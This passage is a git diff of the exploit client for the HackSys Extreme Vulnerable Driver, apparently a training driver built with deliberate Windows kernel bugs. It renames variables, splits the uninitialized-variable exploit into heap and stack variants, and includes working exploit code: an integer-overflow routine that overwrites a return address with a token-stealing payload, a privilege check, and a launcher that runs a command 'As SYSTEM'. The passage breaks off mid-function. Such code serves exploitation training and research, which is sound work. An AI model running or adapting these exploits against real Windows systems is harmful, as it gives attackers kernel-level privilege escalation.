"UninitializedHeapVariable.h" + #include "UninitializedStackVariable.h" #define BUFFER_SIZE 512 - #define IO_COMPLETION_OBJECT 1 #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) #define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver" + #define InitializeObjectAttributes( i, o, a, r, s ) {\ + (i)->Length = sizeof(OBJECT_ATTRIBUTES); \ + (i)->RootDirectory = r; \ + (i)->Attributes = a; \ + (i)->ObjectName = o; \ + (i)->SecurityDescriptor = s; \ + (i)->SecurityQualityOfService = NULL; \ + } + #define DEBUG_INFO(fmt, ...) do { ColoredConsoleOuput(FOREGROUND_BLUE, fmt, ##__VA_ARGS__); } while (0) #define DEBUG_ERROR(fmt, ...) do { ColoredConsoleOuput(FOREGROUND_RED, fmt, ##__VA_ARGS__); } while (0) #define DEBUG_SUCCESS(fmt, ...) do { ColoredConsoleOuput(FOREGROUND_GREEN, fmt, ##__VA_ARGS__); } while (0) #define DEBUG_MESSAGE(fmt, ...) do { ColoredConsoleOuput(FOREGROUND_RED | FOREGROUND_BLUE | FOREGROUND_GREEN, fmt, ##__VA_ARGS__); } while (0) - #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_POOL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_CREATE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_CREATE_FAKE_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_TYPE_CONFUSION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80a, METHOD_NEITHER, FILE_ANY_ACCESS) - #define HACKSYS_EVD_IOCTL_UNINITIALIZED_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80b, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_POOL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_CREATE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_CREATE_FAKE_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_TYPE_CONFUSION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS) + #define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_NEITHER, FILE_ANY_ACCESS) typedef time_t TIME; + typedef struct _CLIENT_ID { + PVOID UniqueProcess; + PVOID UniqueThread; + } CLIENT_ID, *PCLIENT_ID; + typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; @@ -108,19 +123,19 @@ Abstract: ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; - } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; + } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { - PVOID Unknown1; - PVOID Unknown2; - PVOID Base; - ULONG Size; - ULONG Flags; - USHORT Index; - USHORT NameLength; - USHORT LoadCount; - USHORT PathLength; - CHAR ImageName[256]; + PVOID Unknown1; + PVOID Unknown2; + PVOID Base; + ULONG Size; + ULONG Flags; + USHORT Index; + USHORT NameLength; + USHORT LoadCount; + USHORT PathLength; + CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { @@ -133,36 +148,162 @@ Abstract: SystemHandleInformation = 16 } SYSTEM_INFORMATION_CLASS; - typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, - OUT PVOID SystemInformation, - IN ULONG SystemInformationLength, - OUT PULONG ReturnLength); + typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + ProcessIoPriority, + ProcessExecuteFlags, + ProcessTlsInformation, + ProcessCookie, + ProcessImageInformation, + ProcessCycleTime, + ProcessPagePriority, + ProcessInstrumentationCallback, + ProcessThreadStackAllocation, + ProcessWorkingSetWatchEx, + ProcessImageFileNameWin32, + ProcessImageFileMapping, + ProcessAffinityUpdateMode, + ProcessMemoryAllocationMode, + ProcessGroupInformation, + ProcessTokenVirtualizationEnabled, + ProcessConsoleHostProcess, + ProcessWindowInformation, + MaxProcessInfoClass + } PROCESSINFOCLASS; - typedef NTSTATUS (WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource, + typedef struct _PROCESS_ACCESS_TOKEN { + HANDLE Token; + HANDLE Thread; + } PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; + + typedef struct _EPROCESS { + UCHAR NotNeeded1[0x26C]; + union { + ULONG Flags2; + struct { + ULONG JobNotReallyActive: 1; + ULONG AccountingFolded: 1; + ULONG NewProcessReported: 1; + ULONG ExitProcessReported: 1; + ULONG ReportCommitChanges: 1; + ULONG LastReportMemory: 1; + ULONG ReportPhysicalPageChanges: 1; + ULONG HandleTableRundown: 1; + ULONG NeedsHandleRundown: 1; + ULONG RefTraceEnabled: 1; + ULONG NumaAware: 1; + ULONG ProtectedProcess: 1; + ULONG DefaultPagePriority: 3; + ULONG PrimaryTokenFrozen: 1; + ULONG ProcessVerifierTarget: 1; + ULONG StackRandomizationDisabled: 1; + ULONG AffinityPermanent: 1; + ULONG AffinityUpdateEnable: 1; + ULONG PropagateNode: 1; + ULONG ExplicitAffinity: 1; + }; + }; + UCHAR NotNeeded2[0x50]; + } EPROCESS, *PEPROCESS; + + typedef NTSTATUS (WINAPI *ZwClose_t)(IN HANDLE hObject); + + typedef PEPROCESS (WINAPI *PsGetCurrentProcess_t)(VOID); + + typedef NTSTATUS (WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval); - typedef NTSTATUS(WINAPI *NtAllocateVirtualMemory_t)(IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, - IN ULONG ZeroBits, - IN OUT PULONG AllocationSize, - IN ULONG AllocationType, - IN ULONG Protect); + typedef NTSTATUS (WINAPI *ZwOpenProcessToken_t)(IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + OUT PHANDLE TokenHandle); - typedef NTSTATUS(WINAPI *NtAllocateReserveObject_t)(OUT PHANDLE hObject, - IN POBJECT_ATTRIBUTES ObjectAttributes, - IN DWORD ObjectType); + typedef NTSTATUS (WINAPI *ZwSetInformationProcess_t)(IN HANDLE hProcess, + IN ULONG ProcessInfoClass, + IN PVOID ProcessInfo, + IN ULONG ProcessInfoLength); + typedef NTSTATUS (WINAPI *ZwOpenProcess_t)(OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId OPTIONAL); + + typedef NTSTATUS (WINAPI *NtAllocateVirtualMemory_t)(IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN OUT PULONG AllocationSize, + IN ULONG AllocationType, + IN ULONG Protect); + + typedef NTSTATUS (WINAPI *NtAllocateReserveObject_t)(OUT PHANDLE hObject, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN DWORD ObjectType); + + typedef NTSTATUS (WINAPI *NtMapUserPhysicalPages_t)(IN PVOID VirtualAddress, + IN ULONG_PTR NumberOfPages, + IN OUT PULONG_PTR UserPfnArray); + + typedef NTSTATUS (WINAPI *ZwDuplicateToken_t)(IN HANDLE ExistingTokenHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN EffectiveOnly, + IN TOKEN_TYPE TokenType, + OUT PHANDLE NewTokenHandle); + + typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT PULONG ReturnLength); + + ZwClose_t ZwClose; + ZwOpenProcess_t ZwOpenProcess; + ZwDuplicateToken_t ZwDuplicateToken; + ZwOpenProcessToken_t ZwOpenProcessToken; + PsGetCurrentProcess_t PsGetCurrentProcess; + NtMapUserPhysicalPages_t NtMapUserPhysicalPages; NtQueryIntervalProfile_t NtQueryIntervalProfile; - NtAllocateVirtualMemory_t NtAllocateVirtualMemory; + ZwSetInformationProcess_t ZwSetInformationProcess; NtAllocateReserveObject_t NtAllocateReserveObject; + NtAllocateVirtualMemory_t NtAllocateVirtualMemory; NtQuerySystemInformation_t NtQuerySystemInformation; BOOL MapNullPage(); VOID ClearScreen(); VOID CenterConsoleScreen(); PVOID GetHalDispatchTable(); - DWORD GetProcessID(LPCSTR processName); - HANDLE GetDeviceHandle(LPCSTR lpFileName); + DWORD GetProcessID(LPCSTR ProcessName); + HANDLE GetDeviceHandle(LPCSTR FileName); VOID ColoredConsoleOuput(WORD wColor, CONST PTCHAR fmt, ...); #endif //__COMMON_H__ diff --git a/Exploit/Source/HackSysEVDExploit.c b/Exploit/Source/HackSysEVDExploit.c index 07d9103..0f1b661 100644 --- a/Exploit/Source/HackSysEVDExploit.c +++ b/Exploit/Source/HackSysEVDExploit.c @@ -45,20 +45,13 @@ Abstract: This module implements the main routines to invoke exploit for respective vulnerabilities. -TODO: - 1. This exploit has only been designed for Windows 7 x86, - add support for x64. - 2. Port the exploit to work on Windows 8.1/10, I know Null - Pointer Deference bug will be eliminated. - 3. Test on multiple systems to determine reliability. - --*/ #include "HackSysEVDExploit.h" CHAR *argv0; -static VOID ShowUsage(PTCHAR argv0) { +static VOID ShowUsage(PTCHAR Process) { DEBUG_ERROR(" \n" " Usage: %s [option] -c [process to launch] \n" " \n" @@ -71,20 +64,21 @@ static VOID ShowUsage(PTCHAR argv0) { " -t : Type Confusion \n" " -i : Integer Overflow \n" " -g : Stack Overflow GS \n" - " -v : Uninitialized Variable \n" " -n : Null Pointer Dereference \n" " -a : Arbitrary Memory Overwrite \n" - " \n", argv0, argv0); + " -h : Uninitialized Heap Variable \n" + " -v : Uninitialized Stack Variable\n" + " \n", Process, Process); exit(EXIT_FAILURE); } -VOID LaunchExploitThread(LPTHREAD_START_ROUTINE lpExploitHandlerThread) { +VOID LaunchExploitThread(LPTHREAD_START_ROUTINE ExploitHandlerThread) { HANDLE hThread = NULL; - DWORD threadTimeout = 0x50000; + DWORD ThreadTimeout = 0x50000; // Create a new thread DEBUG_MESSAGE("\t[+] Creating The Exploit Thread\n"); - hThread = CreateThread(NULL, 0, lpExploitHandlerThread, NULL, 0, 0); + hThread = CreateThread(NULL, 0, ExploitHandlerThread, NULL, 0, 0); if (!hThread) { DEBUG_ERROR("\t\t[-] Failed To Create Exploit Thread: 0x%X\n", GetLastError()); @@ -94,60 +88,60 @@ VOID LaunchExploitThread(LPTHREAD_START_ROUTINE lpExploitHandlerThread) { DEBUG_INFO("\t\t[+] Exploit Thread Handle: 0x%X\n", hThread); } - if (WaitForSingleObject(hThread, threadTimeout)) { + if (WaitForSingleObject(hThread, ThreadTimeout)) { // Terminate the thread TerminateThread(hThread, EXIT_FAILURE); DEBUG_INFO("\t\t[+] Terminated Exploit Thread: 0x%X\n", hThread); } } -BOOL IsProcessHavingHigherPrivilege(LPCSTR processToOpen) { - DWORD processID = 0; +BOOL IsProcessHavingHigherPrivilege(LPCSTR TargetProcess) { + DWORD ProcessID = 0; HANDLE hProcess = NULL; - BOOL isHighPrivileged = FALSE; + BOOL IsHighPrivileged = FALSE; - DEBUG_MESSAGE("\t[+] Trying To Get Process ID Of: %s\n", processToOpen); + DEBUG_MESSAGE("\t[+] Trying To Get Process ID Of: %s\n", TargetProcess); - processID = GetProcessID(processToOpen); + ProcessID = GetProcessID(TargetProcess); - if (!processID) { - DEBUG_ERROR("\t\t[-] Failed To Get Process ID Of: %s\n", processToOpen); + if (!ProcessID) { + DEBUG_ERROR("\t\t[-] Failed To Get Process ID Of: %s\n", TargetProcess); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t[+] Process ID Of %s: %d\n", processToOpen, processID); + DEBUG_INFO("\t\t[+] Process ID Of %s: %d\n", TargetProcess, ProcessID); } - DEBUG_MESSAGE("\t[+] Trying To Open %s With PROCESS_ALL_ACCESS\n", processToOpen, processID); + DEBUG_MESSAGE("\t[+] Trying To Open %s With PROCESS_ALL_ACCESS\n", TargetProcess); // Open the process to check the privilege level, if we are able // to open any SYSTEM process, this means we have successfully // elevated current process privileges - hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID); + hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID); if (!hProcess) { - DEBUG_ERROR("\t\t[-] Failed To Open %s Process: 0x%X\n", processToOpen, GetLastError()); + DEBUG_ERROR("\t\t[-] Failed To Open %s Process: 0x%X\n", TargetProcess, GetLastError()); } else { - DEBUG_INFO("\t\t[+] Process Handle Of %s: 0x%X\n", processToOpen, hProcess); - isHighPrivileged = TRUE; + DEBUG_INFO("\t\t[+] Process Handle Of %s: 0x%X\n", TargetProcess, hProcess); + IsHighPrivileged = TRUE; } - return isHighPrivileged; + return IsHighPrivileged; } -VOID Exploit(PEXPLOIT_VULNERABILITY pExploitVulnerability) { - DOUBLE elapsedTime = 0; - TIME startTime, finishTime; - STARTUPINFO startupInfo = {0}; - PROCESS_INFORMATION processInformation = {0}; - VULNERABILITY_TYPE vulnerabilityType = pExploitVulnerability->VulnerabilityType; +VOID Exploit(PEXPLOIT_VULNERABILITY ExploitVulnerability) { + DOUBLE ElapsedTime = 0; + TIME StartTime, FinishTime; + STARTUPINFO StartupInfo = {0}; + PROCESS_INFORMATION ProcessInformation = {0}; + VULNERABILITY_TYPE VulnerabilityType = ExploitVulnerability->VulnerabilityType; // Log the start time - startTime = time(NULL); + StartTime = time(NULL); // Determine type of vulnerability to exploit - switch (vulnerabilityType) { + switch (VulnerabilityType) { case PoolOverflow: DEBUG_MESSAGE("[+] Starting Pool Overflow Exploitation\n"); LaunchExploitThread(&PoolOverflowThread); @@ -183,10 +177,15 @@ VOID Exploit(PEXPLOIT_VULNERABILITY pExploitVulnerability) { LaunchExploitThread(&ArbitraryOverwriteThread); DEBUG_MESSAGE("[+] Completed Arbitrary Memory Overwrite Exploitation\n"); break; - case UninitializedVariable: - DEBUG_MESSAGE("[+] Starting Uninitialized Variable Exploitation\n"); - LaunchExploitThread(&UninitializedVariableThread); - DEBUG_MESSAGE("[+] Completed Uninitialized Variable Exploitation\n"); + case UninitializedHeapVariable: + DEBUG_MESSAGE("[+] Starting Uninitialized Heap Variable Exploitation\n"); + LaunchExploitThread(&UninitializedHeapVariableThread); + DEBUG_MESSAGE("[+] Completed Uninitialized Heap Variable Exploitation\n"); + break; + case UninitializedStackVariable: + DEBUG_MESSAGE("[+] Starting Uninitialized Stack Variable Exploitation\n"); + LaunchExploitThread(&UninitializedStackVariableThread); + DEBUG_MESSAGE("[+] Completed Uninitialized Stack Variable Exploitation\n"); break; case NullPointerDereference: DEBUG_MESSAGE("[+] Starting Null Pointer Dereference Exploitation\n"); @@ -206,42 +205,42 @@ VOID Exploit(PEXPLOIT_VULNERABILITY pExploitVulnerability) { DEBUG_MESSAGE("\t[+] Successfully Elevated Current Process Privileges\n"); } - startupInfo.wShowWindow = SW_SHOW; - startupInfo.cb = sizeof(STARTUPINFO); - startupInfo.dwFlags = STARTF_USESHOWWINDOW; + StartupInfo.wShowWindow = SW_SHOW; + StartupInfo.cb = sizeof(STARTUPINFO); + StartupInfo.dwFlags = STARTF_USESHOWWINDOW; // Log the finish time - finishTime = time(NULL); + FinishTime = time(NULL); // Calculate the elapsed time - elapsedTime = difftime(finishTime, startTime); + ElapsedTime = difftime(FinishTime, StartTime); - DEBUG_MESSAGE("[+] Enjoy As SYSTEM [%f]s\n\n", elapsedTime); + DEBUG_MESSAGE("[+] Enjoy As SYSTEM [%f]s\n\n", ElapsedTime); if (!CreateProcess(NULL, - pExploitVulnerability->Command, + ExploitVulnerability->Command, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, - &startupInfo, - &processInformation)) { + &StartupInfo, + &ProcessInformation)) { DEBUG_ERROR("[-] Failed to Create Target Process: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } - WaitForSingleObject(processInformation.hProcess, INFINITE); + WaitForSingleObject(ProcessInformation.hProcess, INFINITE); // Close the open handles - CloseHandle(processInformation.hThread); - CloseHandle(processInformation.hProcess); + CloseHandle(ProcessInformation.hThread); + CloseHandle(ProcessInformation.hProcess); } INT main(UINT argc, PTCHAR argv[]) { - CONST PTCHAR banner = + CONST PTCHAR Banner = "\t\t \t\n" "\t\t ## ## ######## ## ## ######## \t\n" "\t\t ## ## ## ## ## ## ## \t\n" @@ -256,14 +255,14 @@ INT main(UINT argc, PTCHAR argv[]) { "\t\t ashfaq[at]payatu[dot]com \t\n" "\t\t \t\n"; - PTCHAR commandToExecute = NULL; - EXPLOIT_VULNERABILITY exploitVulnerability; + PTCHAR CommandToExecute = NULL; + EXPLOIT_VULNERABILITY ExploitVulnerability; ClearScreen(); CenterConsoleScreen(); // Print the banner - DEBUG_SUCCESS(banner); + DEBUG_SUCCESS(Banner); if (argc < 3) { ShowUsage(argv[0]); @@ -272,41 +271,44 @@ INT main(UINT argc, PTCHAR argv[]) { // Parse the command line arguments ARGBEGIN { case 'p': - exploitVulnerability.VulnerabilityType = PoolOverflow; + ExploitVulnerability.VulnerabilityType = PoolOverflow; break; case 'u': - exploitVulnerability.VulnerabilityType = UseAfterFree; + ExploitVulnerability.VulnerabilityType = UseAfterFree; break; case 't': - exploitVulnerability.VulnerabilityType = TypeConfusion; + ExploitVulnerability.VulnerabilityType = TypeConfusion; break; case 's': - exploitVulnerability.VulnerabilityType = StackOverflow; + ExploitVulnerability.VulnerabilityType = StackOverflow; break; case 'i': - exploitVulnerability.VulnerabilityType = IntegerOverflow; + ExploitVulnerability.VulnerabilityType = IntegerOverflow; break; case 'g': - exploitVulnerability.VulnerabilityType = StackOverflowGS; + ExploitVulnerability.VulnerabilityType = StackOverflowGS; break; case 'a': - exploitVulnerability.VulnerabilityType = ArbitraryOverwrite; + ExploitVulnerability.VulnerabilityType = ArbitraryOverwrite; + break; + case 'h': + ExploitVulnerability.VulnerabilityType = UninitializedHeapVariable; break; case 'v': - exploitVulnerability.VulnerabilityType = UninitializedVariable; + ExploitVulnerability.VulnerabilityType = UninitializedStackVariable; break; case 'n': - exploitVulnerability.VulnerabilityType = NullPointerDereference; + ExploitVulnerability.VulnerabilityType = NullPointerDereference; break; case 'c': - exploitVulnerability.Command = EARGF(ShowUsage(argv[0])); + ExploitVulnerability.Command = EARGF(ShowUsage(argv[0])); break; default: ShowUsage(argv[0]); } ARGEND; // Start the exploitation - Exploit(&exploitVulnerability); + Exploit(&ExploitVulnerability); return EXIT_SUCCESS; } diff --git a/Exploit/Source/HackSysEVDExploit.h b/Exploit/Source/HackSysEVDExploit.h index 107e024..5d7cc85 100644 --- a/Exploit/Source/HackSysEVDExploit.h +++ b/Exploit/Source/HackSysEVDExploit.h @@ -63,18 +63,19 @@ Abstract: IntegerOverflow, StackOverflowGS, ArbitraryOverwrite, - UninitializedVariable, - NullPointerDereference + NullPointerDereference, + UninitializedHeapVariable, + UninitializedStackVariable } VULNERABILITY_TYPE, *PVULNERABILITY_TYPE; typedef struct _EXPLOIT_VULNERABILITY { + PTCHAR Command; VULNERABILITY_TYPE VulnerabilityType; - PTCHAR Command; } EXPLOIT_VULNERABILITY, *PEXPLOIT_VULNERABILITY; - static VOID ShowUsage(PTCHAR argv0); - BOOL IsProcessHavingHigherPrivilege(LPCSTR processToOpen); - VOID Exploit(PEXPLOIT_VULNERABILITY pExploitVulnerability); - VOID LaunchExploitThread(LPTHREAD_START_ROUTINE lpExploitHandlerThread); + static VOID ShowUsage(PTCHAR Process); + BOOL IsProcessHavingHigherPrivilege(LPCSTR TargetProcess); + VOID Exploit(PEXPLOIT_VULNERABILITY ExploitVulnerability); + VOID LaunchExploitThread(LPTHREAD_START_ROUTINE ExploitHandlerThread); #endif //__EXPLOIT_H__ diff --git a/Exploit/Source/HackSysEVDExploit.vcxproj b/Exploit/Source/HackSysEVDExploit.vcxproj index 2e00181..5d75630 100644 --- a/Exploit/Source/HackSysEVDExploit.vcxproj +++ b/Exploit/Source/HackSysEVDExploit.vcxproj @@ -71,7 +71,8 @@ - + + @@ -86,7 +87,8 @@ - + + diff --git a/Exploit/Source/HackSysEVDExploit.vcxproj.filters b/Exploit/Source/HackSysEVDExploit.vcxproj.filters index aa5c3ec..3d646fc 100644 --- a/Exploit/Source/HackSysEVDExploit.vcxproj.filters +++ b/Exploit/Source/HackSysEVDExploit.vcxproj.filters @@ -48,7 +48,10 @@ Source Files - + + Source Files + + Source Files @@ -89,7 +92,10 @@ Header Files - + + Header Files + + Header Files diff --git a/Exploit/Source/IntegerOverflow.c b/Exploit/Source/IntegerOverflow.c index ced7dbd..5640301 100644 --- a/Exploit/Source/IntegerOverflow.c +++ b/Exploit/Source/IntegerOverflow.c @@ -50,14 +50,14 @@ Abstract: #include "IntegerOverflow.h" -DWORD WINAPI IntegerOverflowThread(LPVOID lpParameter) { +DWORD WINAPI IntegerOverflowThread(LPVOID Parameter) { HANDLE hFile = NULL; - ULONG bytesReturned; - PVOID pMemoryAddress = NULL; - PULONG pUserModeBuffer = NULL; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - PVOID pEopPayload = &TokenStealingPayloadWin7; - SIZE_T userModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE_INTEGER + BUFFER_TERMINATOR) * sizeof(ULONG); + ULONG BytesReturned; + PVOID MemoryAddress = NULL; + PULONG UserModeBuffer = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + PVOID EopPayload = &TokenStealingPayloadWin7; + SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE_INTEGER + BUFFER_TERMINATOR) * sizeof(ULONG); __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -71,9 +71,9 @@ DWORD WINAPI IntegerOverflowThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -88,33 +88,33 @@ DWORD WINAPI IntegerOverflowThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n"); // Allocate the Heap chunk - pUserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), - HEAP_ZERO_MEMORY, - userModeBufferSize); + UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + UserModeBufferSize); - if (!pUserModeBuffer) { + if (!UserModeBuffer) { DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pUserModeBuffer); - DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", userModeBufferSize); + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer); + DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize); } DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n"); - RtlFillMemory((PVOID)pUserModeBuffer, userModeBufferSize, 0x41); + RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41); - pMemoryAddress = (PVOID)(((ULONG)pUserModeBuffer + userModeBufferSize) - (sizeof(ULONG) * 2)); - *(PULONG)pMemoryAddress = (ULONG)pEopPayload; + MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - (sizeof(ULONG) * 2)); + *(PULONG)MemoryAddress = (ULONG)EopPayload; - DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)pMemoryAddress); - DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", pMemoryAddress); + DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)MemoryAddress); + DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", MemoryAddress); - pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + sizeof(ULONG)); - *(PULONG)pMemoryAddress = (ULONG)0xBAD0B0B0; + MemoryAddress = (PVOID)((ULONG)MemoryAddress + sizeof(ULONG)); + *(PULONG)MemoryAddress = (ULONG)0xBAD0B0B0; - DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_MESSAGE("\t[+] Triggering Integer Overflow\n"); @@ -122,16 +122,18 @@ DWORD WINAPI IntegerOverflowThread(LPVOID lpParameter) { DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW, - (LPVOID)pUserModeBuffer, + (LPVOID)UserModeBuffer, (DWORD)0xFFFFFFFF, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); - HeapFree(GetProcessHeap(), 0, (LPVOID)pUserModeBuffer); + HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer); + + UserModeBuffer = NULL; } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] 